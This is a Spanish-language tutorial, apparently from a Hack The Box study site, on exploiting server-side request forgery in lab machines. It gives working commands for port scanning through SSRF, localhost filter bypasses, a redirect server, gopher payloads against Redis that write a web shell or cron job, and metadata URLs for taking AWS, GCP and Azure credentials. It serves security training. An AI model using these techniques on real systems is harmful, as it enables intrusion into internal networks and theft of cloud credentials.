SSRF: cómo usar el servidor para llegar a servicios internos y a la nube

SSRF paso a paso: detectarla, escanear puertos internos, saltarse los filtros de localhost con redirecciones, leer metadatos de AWS y atacar Redis con gopher.

· 4 min de lectura

Hay una SSRF cuando puedes hacer que el servidor haga una petición a la dirección que tú elijas. Desde fuera solo ves la web; desde dentro, el servidor llega a 127.0.0.1, a la red interna y, en la nube, al servicio de metadatos con credenciales. En el catálogo hay más de 15 máquinas con SSRF, y casi siempre el premio es un servicio interno que no deberías poder ver.

Dónde aparece

  • Campos que piden una URL: "importar desde URL", vista previa de enlaces, webhooks, avatares remotos, comprobadores de estado.
  • Generadores de PDF o capturas a partir de HTML (el HTML puede incluir <iframe>, <img> o <link> hacia donde quieras).
  • Parámetros con nombres como url, uri, dest, redirect, next, feed, host, proxy.
  • Ficheros que el servidor procesa: SVG, XML (XXE), documentos de Office.

Confirmarla

Pon tu propia IP y escucha:

nc -lvnp 80        # o python3 -m http.server 80
url=http://10.10.14.5/prueba

Si llega la petición, mira las cabeceras: el User-Agent te dice qué la hace (python-requests, curl, Go-http-client, un navegador headless), y eso cambia lo que puedes hacer. Si no ves la respuesta en la web, es una SSRF ciega: sigue sirviendo para escanear por tiempos o para atacar servicios que no necesitan respuesta.

Explorar la red interna

# Puertos de localhost: compara el tamaño o el tiempo de la respuesta
ffuf -u 'http://objetivo.htb/preview?url=http://127.0.0.1:FUZZ/' -w <(seq 1 65535) -fs 0 -t 50

# Hosts de la red interna (Docker suele usar 172.17.0.0/16)
ffuf -u 'http://objetivo.htb/preview?url=http://172.17.0.FUZZ/' -w <(seq 1 254) -fs 0

Lo que más se encuentra detrás: paneles de administración solo para localhost, APIs internas sin autenticación, Redis, Elasticsearch, el daemon de Docker (puerto 2375), Consul, Jenkins o un servicio con un CVE conocido. En Sau, la SSRF lleva a un Maltrail interno con una inyección de comandos.

Saltarse los filtros de localhost

Si la aplicación prohíbe 127.0.0.1 o localhost, hay muchas formas de escribir lo mismo:

http://127.1/
http://0/
http://0.0.0.0/
http://[::1]/
http://[::ffff:127.0.0.1]/
http://2130706433/            # 127.0.0.1 en decimal
http://0x7f000001/            # en hexadecimal
http://017700000001/          # en octal
http://localtest.me/          # un dominio que resuelve a 127.0.0.1
http://127.0.0.1.nip.io/

Y si comprueba la URL antes de hacer la petición, pero sigue redirecciones, usa tu propio servidor para redirigir:

# redir.py: python3 redir.py  (y pon url=http://10.10.14.5/)
from http.server import BaseHTTPRequestHandler, HTTPServer
class R(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://127.0.0.1:3000/admin')
        self.end_headers()
HTTPServer(('0.0.0.0', 80), R).serve_forever()

Es exactamente lo que hay que hacer en Forge y en Health. Otros trucos: una URL con credenciales (http://[email protected]/), un fragmento (http://127.0.0.1#permitido.com) o el DNS rebinding (un dominio que primero resuelve a una IP permitida y luego a 127.0.0.1).

Otros esquemas

Si la librería no se limita a HTTP, prueba:

file:///etc/passwd
file:///c:/windows/win.ini
dict://127.0.0.1:6379/info
gopher://127.0.0.1:6379/_...

gopher:// te deja mandar bytes arbitrarios a un puerto TCP, así que puedes hablar con Redis, MySQL sin contraseña, SMTP o FastCGI. Gopherus genera el payload:

gopherus --exploit redis      # pregunta qué hacer: escribir una web shell o una tarea cron

SSRF en la nube

En AWS, GCP y Azure, una IP especial da los metadatos de la instancia y, a veces, credenciales temporales:

# AWS (IMDSv1)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<rol>

# GCP (necesita la cabecera Metadata-Flavor: Google)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure (necesita la cabecera Metadata: true)
http://169.254.169.254/metadata/instance?api-version=2021-02-01

Nota

IMDSv2 en AWS exige pedir antes un token con una petición PUT y una cabecera especial, así que una SSRF que solo hace GET ya no basta. Si puedes controlar el método y las cabeceras, sí. La chuleta de cloud tiene qué hacer con las credenciales.

Errores típicos

  • La petición llega a tu equipo pero no a 127.0.0.1: el servidor está en un contenedor; su localhost no es el del anfitrión. Prueba la IP del anfitrión en la red de Docker (172.17.0.1).
  • Solo acepta dominios de una lista: busca en esos dominios una redirección abierta (/logout?next=) y encadénala.
  • La respuesta no se ve: mira si al menos cambia el tiempo o el código de estado; con eso puedes escanear. Para leer datos, busca un servicio interno que te los mande a ti (un webhook, un correo).

Y después

Cuando encuentres el servicio interno, trátalo como uno más: enumera su versión y busca un CVE público. Si consigues una shell en un contenedor, sigue con la sección de contenedores de escalada en Linux.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

SSRF 15 máquinas

Ver las 15 máquinas →

¿Ves un error o echas algo en falta? Cuéntanoslo